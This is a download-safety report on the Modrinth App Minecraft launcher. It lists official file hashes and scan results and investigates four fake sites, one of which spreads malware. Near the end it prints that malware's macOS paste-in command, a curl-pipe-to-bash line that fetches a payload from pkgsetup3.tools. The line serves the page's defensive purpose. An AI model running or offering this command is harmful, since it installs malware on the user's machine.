Modrinth App

Launcher by Rinth, Inc.

Play and update your favorite mods from one simple launcher.

How we got this result

  1. Files checkedWe compare the fingerprint and the content of each file with the malware we and others have found, and look at what is inside it.5 of 5 official filesLast checked on 6 Nov 2026
  2. Passed Nothing harmful found in its 5 official files.Our checks look for known signs of harm. They cannot prove that a file is harmless.

At a glance

Every official file

See each file in Releases

The files of version 0.23.1, by system and kind of download.

Have a copy of Modrinth App? Check that it is the official one.

Drop it here. We compare its fingerprint with the official Modrinth App files and the files of the fake sites we know.

Source code
Public on GitHub
Official site
modrinth.com

Which file for my computer?

Modrinth.App_0.23.1_x64-setup.exe

PassedNothing harmful foundReleased 5 Nov 202631.4 MB

Download

The same file we checked, straight from github.com.

Official site

4 sites use its name to give other files. See Fake sites

Download page
modrinth.com/app
Newest version
0.23.1, released on 5 Nov 2026

Passed

Nothing harmful found in its 5 official files, version 0.23.1.

Our checks look for known signs of harm. They cannot prove that a file is harmless.

What we checked

A launcher runs on your computer like any program, and it downloads the game and its mods, so harmful code in it can steal your accounts or files.

Files checkedEach official file is downloaded on a separate machine, opened with every file inside it and never run. ClamAV, a free antivirus, and our YARA rules look for known signs of harm in all of it.
5 of its 5 official files, with every file inside them.Last checked on 6 Nov 2026
Deep checkOur own tools read the Java code in the files and look for what harmful code does, like stealing logins or running hidden programs. They read Java code only.
Not possible: we read the code of Java programs only, and its files hold none.
SignatureThe name of the company or person that signed the file. A file changed after signing loses its signature.
Signed by Rinth.Our tool could not confirm the certificate chains
Same as listedA fingerprint of the file. The same fingerprint means the same file, byte for byte.
Every file we checked has the SHA-256 that GitHub gives.
Older releases
20 official files of 4 older releases, every one checked.

What is inside

The 8 files inside Modrinth.App_0.23.1_x64-setup.exe.

Programs for Windows, Mac or Linux
7 files.
Graphics
None.
Other
1 file.

Every file

  • $PLUGINSDIR/7 files
    • modern-wizard.bmp26 KB
    • nsDialogs.dll20 KB
    • nsis_tauri_utils.dll44 KB
    • NSISdl.dll25 KB
    • StartMenu.dll18 KB
    • System.dll22 KB
    • UserInfo.dll4.0 KB
  • Modrinth App.exe52797 KB

Not read

We read the code of Java programs only, and its files hold none, so we cannot tell what it sends.

Releases

Current files: the official files of version 0.23.1.

Current fileVersionSystemReleasedFileOur checkGet it on
0.23.1LinuxAppImage5 Nov 2026Modrinth.App_0.23.1_amd64.AppImage115.0 MB SHA-256 feb04bf6f3…PassedNothing harmful found. Checked on 6 Nov 2026.6 Nov 2026
1 of 5 current files

A fake site uses the name of Modrinth App to offer its download from an address that is not the official one.

How to know the official site

Official site
modrinth.com
Also leads there
modrinth.app, modrinth.net and modrinth.org send you to modrinth.com.
Files come from
github.com/modrinth
Signed byThe name of the company or person that signed the file. A file changed after signing loses its signature.
Rinth, on Modrinth.App_0.23.1_x64-setup.exe2 of the fake sites below give files also signed by Rinth, but not files of the official download page. Only the SHA-256 tells them apart.
SHA-256A fingerprint of the file. The same fingerprint means the same file, byte for byte.
Modrinth.App_0.23.1_x64-setup.exed4f20ea66b0b0af22394690729116901709bc24951172f9d46740bc4c16cb008Every official file and its SHA-256, in Releases

The 4 fake sites we foundChecked on 4 Nov 2026

Of these, 1 gives a file with malware, 2 a file that is not the official one and 1 no file we could get. Sites in one fold share their pages and their download.

modrinthdownload.commodrinth.net.inNot the official file2 sites with the same template. All online

Registered at Dynadot one second apart on 5 Sep 2026, right after curseforgedownload.com, with the page template of the fake TLauncher, CurseForge and SKlauncher sites.

They give older versions of the Modrinth App (0.20.0 and 0.20.2) from their own server; the current one is 0.22.1.

  • modrinthdownload.comOnline. Its download buttons give a file that is not the official one.Registered 5 Sep 2026 at Dynadot · Checked 4 Nov 2026
  • modrinth.net.inOnline. Its download buttons give a file that is not the official one.Registration date not public · Checked 4 Nov 2026

Their download

Signed by Rinth, but not a file of the official download page today.

It gives Modrinth App_0.20.0_x64-setup.exe (25 MB). It is not a file of the official download page today: its SHA-256, a fingerprint of the file, matches none of them. It is signed by Rinth. It describes itself as Modrinth App. ClamAV and our YARA rules found nothing in it and the 10 files inside it.

It gives Modrinth-App_0.20.2_x64-setup.exe (25 MB). It is not a file of the official download page today: its SHA-256, a fingerprint of the file, matches none of them. It is signed by Rinth. It describes itself as Modrinth App. ClamAV and our YARA rules found nothing in it and the 10 files inside it.

Technical details

Modrinth App_0.20.0_x64-setup.exe
SHA-256 ee81c10f79a238d6b31a0535b889a4b651991ce2231d5d57a9bc9bede2049f3c25 MB, checked on 2 Nov 2026
Modrinth-App_0.20.2_x64-setup.exe
SHA-256 b6a09f8cd8535588cd141b18be5fcedbbaeccb36c8de83876ffd3e9224f2a49325 MB, checked on 2 Nov 2026
modrinth.proNo file we could getIts download pages answer with a page, not a file: we have not checked its files.Online

A Russian mod catalog that uses the Modrinth name, registered in 2024. It also has pages for Prism Launcher, TLauncher, Badlion and Lunar Client, and for cheat clients.

Its files are stored on the site.

  • modrinth.proOnline. Its download pages answer with a page, not a file: we have not checked its files.Registration date not public · Checked 4 Nov 2026

Its download

Its download pages answer with a page, not a file: we have not checked its files.

github.com/spectereagleraise/modrinth-appMalwareOnline

A GitHub project created on 5 Oct 2026 by a throwaway account. Its description presents it as the Modrinth App, and its page adds Windows and macOS download buttons.

The buttons lead to pages of another GitHub account, supremedeckhandwire. The same pages serve at least 15 fake projects, for Minecraft launchers, mods and other programs.

  • github.com/spectereagleraise/modrinth-appOnline. Its download buttons lead to a fake download page.Created 5 Oct 2026 on GitHub · Checked 5 Nov 2026

Its download

The Windows file is not the launcher: it hides from test machines and installs another hidden program. The macOS button asks you to paste a command that downloads a program.

On Windows the download page gives installer-v5.zip from resight-cheats.net, a site that offers free game cheats. On macOS it asks you to paste a command into Terminal.

The Windows program is packed so its code cannot be read. On Triage's test machines it looked for signs of a virtual machine, ran a hidden PowerShell command that reads the hardware, and installed another program under a random name in AppData. We do not know yet what that program takes.

The macOS command runs a copy of the Bun installer changed to download its program from pkgsetup3.tools.

Technical details

installer-v5.zip
SHA-256 a450189aeaa3080a6aa1ebaf60bbca9daf921e379ddb6ebdf8d44bfcc9696fb4From www.resight-cheats.net, 4 Nov 2026
installer.exe
SHA-256 23ad0d94e9eef0206a2bf1cc2bb40024e3f096345622e9a3de6a5f7bf7e3114fTriage report 261105-m584bahx9w
macOS command
/bin/bash -c "$(curl -fsSL https://pkgsetup3.tools/xzg556frgygm)"

If you downloaded a file from one of these sites

  1. Drop the file in the Scanner. It tells you if it is an official file of Modrinth App or a file of these sites.
  2. If it is not an official file and you have not opened it, delete it.
  3. If you opened it: run a full scan with your antivirus. On Windows, the built-in one is Microsoft Defender, in the Windows Security app.
  4. If you signed in to the launcher it installed: use "sign out everywhere" in your Microsoft security settings and change your Microsoft account password.
  5. Get Modrinth App from its official site, modrinth.com .
Downloads
Not publishedModrinth App does not publish how many times it is downloaded. GitHub's count covers only its few downloads there.
Created
20 Jun 2021Its GitHub repository
Latest release
5 Nov 2026Version 0.23.1
License
GPL-3.0 Public on GitHub

About

Modrinth App is a desktop launcher for managing Minecraft mods and playing modded games, with access to projects hosted on Modrinth. It lets you find mods, install or remove them, and keep them updated, while also downloading and playing modpacks. You can build, share, and play modpacks assembled from the mods and modpacks available on Modrinth. The app integrates with the Modrinth website, can import existing game instances from another launcher, and syncs settings such as game options, servers, and resource packs across instances. It also includes a Minecraft skin selector, so you can switch between your skins from within the app.

Written from its official pages: its GitHub page and modrinth.com . How we write it